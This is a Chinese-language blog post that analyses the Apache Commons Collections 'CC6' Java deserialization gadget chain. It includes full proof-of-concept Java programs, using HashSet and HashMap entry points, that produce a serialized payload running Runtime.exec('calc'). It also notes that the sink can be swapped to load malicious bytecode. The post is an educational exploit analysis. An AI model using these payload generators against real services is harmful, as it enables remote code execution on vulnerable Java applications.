0x01 前言
CC6与CC1类似,sink都是ChainedTransformer#transform,但入口类CC6使用的是HashSet#readObject,而不是AnnotationInvocationHandler,所以CC6对jdk并没有限制。cc限制为commons-collections 3.2.1及之前,commons-collections4.0。
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
0x02 相关知识
HashSet
HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合。在反序列化过程中会调用到集合中元素的hashCode方法。TiedMapEntry的hashCode方法如下,该方法中调用了getValue方法,从CC5中我们可以知道,该方法会调用Map.get方法从而触发LazyMap利用链。
0x03 利用链分析
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();
}
}
首先看第一部分,这部分跟其它CC链中调用ChainedTransformer的方法有些不同,在给LazyMap添加装饰器的时候添加的是一个空的ChainedTransformer对象。
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
第二部分有点怪,新建了一个HashSet对象并将tiedMapEntry对象添加到HashSet中。这里存在一个问题,为什么lazyMap要remove这个key呢?我们前面的代码根本没有给lazyMap增加test1这个key-value。
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
问题出在hashSet.add这里,执行该语句后,我们的lazyMap会增加一个key-value,键值都是test1,调试跟进一下就明白了。
调用add语句后,跟进add方法
HashSet#add会调用HashMap#put方法
接着会调用HashMap#hash方法
接着会调用TiedMapEntry#hashCode方法
接着会调用TiedMapEntry#getValue方法
接着会调用LazyMap#get方法,key为test1,此时的lazyMap为空,也就不存在test1这个key,if判断为真,接着会调用factory.transform方法,由于ChainedTransformer空,所以value值也为test1,然后将这对key-value写入lazyMap中,这就是为什么我们需要删除lazyMap中test1这对key-value的原因,否则在反序列化中LazyMap#get的key是存在的,也就不会触发transform方法。这里删除lazyMap中这个键值是最方便的,我们也可以通过反射修改TiedMapEntry的key字段达到同样的效果。
从下图我们也可以知道我们为什么CC6最开始不像原来的CC一样直接将Transformer给ChainedTransformer,而是新建一个空的ChainedTransformer来替代,因为如果像其它CC,在图中位置时便会触发transform利用链,当然,如果喜欢弹两次计算器也不是不行。
最后一部分代码则是通过反射将transformers给Testtransformer的iTransformers字段,完成整个链的拼图。
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
利用链:
ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
0x04 利用链调试
HashSet#readObject
,此时参数e为TiedMapEntry对象HashMap#put
HashMap#hash
TiedMapEntry#hashCode
TiedMapEntry#getValue
LazyMap#get
然后就是再熟悉不过的ChainedTransformer#transform
了,就略过了。
0x05 总结
CC6的入口类使用的是HashSet,这是之前CC没出现过的,好像每一次CC递增,都会出现不同的sink或者source或者中继,可能这就是CC顺序的依据吧。
CC6也可以使用HashMap作为入口类,HashMap#readObject存在hash方法,会将key进行hash,而key则是我们传入的TiedMapEntry,利用链如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
HashMap hashMap=new HashMap(1);
hashMap.put(tiedMapEntry,"value");
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();
}
}
最后,我们能否对CC6进行一些变异呢?比如像CC5一样将sink ChainedTransformer更改为TemplatesImpl加载恶意字节码呢?经过测试也是可以的,参考CC5即可。
利用链 | Sink | Source |
---|---|---|
CC5 | ChainedTransformer/TemplatesImpl | BadAttributeValueExpException |
CC6 | ChainedTransformer/TemplatesImpl | HashSet/HashMap |